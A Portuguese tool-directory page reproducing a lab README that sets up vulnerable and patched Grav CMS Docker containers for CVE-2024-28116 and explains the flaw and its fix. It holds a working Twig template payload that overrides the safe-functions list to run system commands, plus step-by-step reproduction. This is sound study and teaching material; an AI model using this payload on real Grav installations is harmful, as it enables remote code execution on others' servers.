Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
grav-cve-2024-28116 — Análise e reprodução em Docker do CVE-2024-28116 - SSTI com bypass de sandbox no Grav CMS | Kitploit
Ferramentas/GitHubGitHub/bebarossi/grav-cve-2024-28116
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAprendizado e EducaçãoLabs e Prática
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

Análise e reprodução em Docker do CVE-2024-28116 - SSTI com bypass de sandbox no Grav CMS

Ver Repositório
8há 22 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-28116 — SSTI com Bypass de Sandbox no Grav CMS

Análise e reprodução em Docker do CVE-2024-28116, uma vulnerabilidade de Injeção de Template no Lado do Servidor (SSTI) com bypass do sandbox de segurança nas versões do Grav CMS até a 1.7.44 inclusive, corrigida na versão 1.7.45.

Reportado por: Maurizio Siddu (akabe1)
Pontuação CVSS v3.1: 8.8 (Alta)
Corrigido em: Grav CMS 1.7.45


Estrutura do Repositório

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (vulnerável)
    • apache.conf # Configuração do Apache
  • patched
    • Dockerfile # Grav CMS 1.7.45 (corrigido)
    • apache.conf # Configuração do Apache
  • CVE-2024-28116_Report.pdf

Requisitos

  • Docker Desktop instalado e em execução no macOS
  • Nenhuma outra dependência necessária — tudo está instalado dentro do contêiner

Como Executar o Ambiente Vulnerável (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

Abra o navegador em http://localhost:8080/admin e crie uma conta de administrador no primeiro acesso.


Como Reproduzir o Exploit

  1. No Painel Admin, crie uma segunda conta de usuário com permissões apenas de editor (Login no Site, Login no Admin e Páginas definidos como Permitido — todo o restante como Não definido)
  2. Abra uma janela de navegação anônima e faça login como editor em http://localhost:8080/admin
  3. Vá em Páginas → Adicionar Página, defina o título como test page e clique em Continuar
  4. Na aba Avançado, habilite o processamento Twig marcando tanto Markdown quanto Twig em Processamento
  5. Na aba Conteúdo, cole o seguinte payload:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Clique em Salvar
  2. Abra uma aba normal do navegador e visite http://localhost:8080/test-page
  3. O servidor exibirá o objeto completo de configuração do Grav e, bem no final, mostrará: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Isso confirma a Execução Remota de Código como o usuário do servidor web.


Como Executar o Ambiente Corrigido (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

Abra o navegador em http://localhost:8081/admin e repita todos os passos do exploit acima, direcionando para http://localhost:8081/test-page.

A página ficará completamente em branco. O método cleanDangerousTwig() em Security.php detecta e bloqueia a diretiva twig.safe_functions antes que ela chegue ao mecanismo Twig. A lista de permissões nunca é modificada e o comando nunca é executado.


Como a Vulnerabilidade Funciona

A vulnerabilidade está localizada em system/src/Grav/Common/Twig.php. O Grav implementa um sandbox para impedir que funções PHP perigosas sejam chamadas dentro de templates Twig, com base em uma lista negra verificada por isDangerousFunction(). No entanto, o sandbox não protege o próprio objeto Twig. Um usuário com nível de editor pode interagir com o objeto Twig por meio de diretivas de template maliciosas e sobrescrever a lista de permissões system.twig.safe_functions em tempo de execução. Uma vez que uma função perigosa como system() é adicionada à lista de permissões, a verificação do sandbox é ignorada e a função é executada livremente.


A Correção

O patch adiciona 'twig.safe_functions' à lista de padrões bloqueados dentro do método cleanDangerousTwig() em system/src/Grav/Common/Security.php. Qualquer diretiva que contenha essa string é neutralizada antes de chegar ao mecanismo Twig, tornando impossível para um editor modificar a lista de permissões a partir de um template.

Baixar ferramenta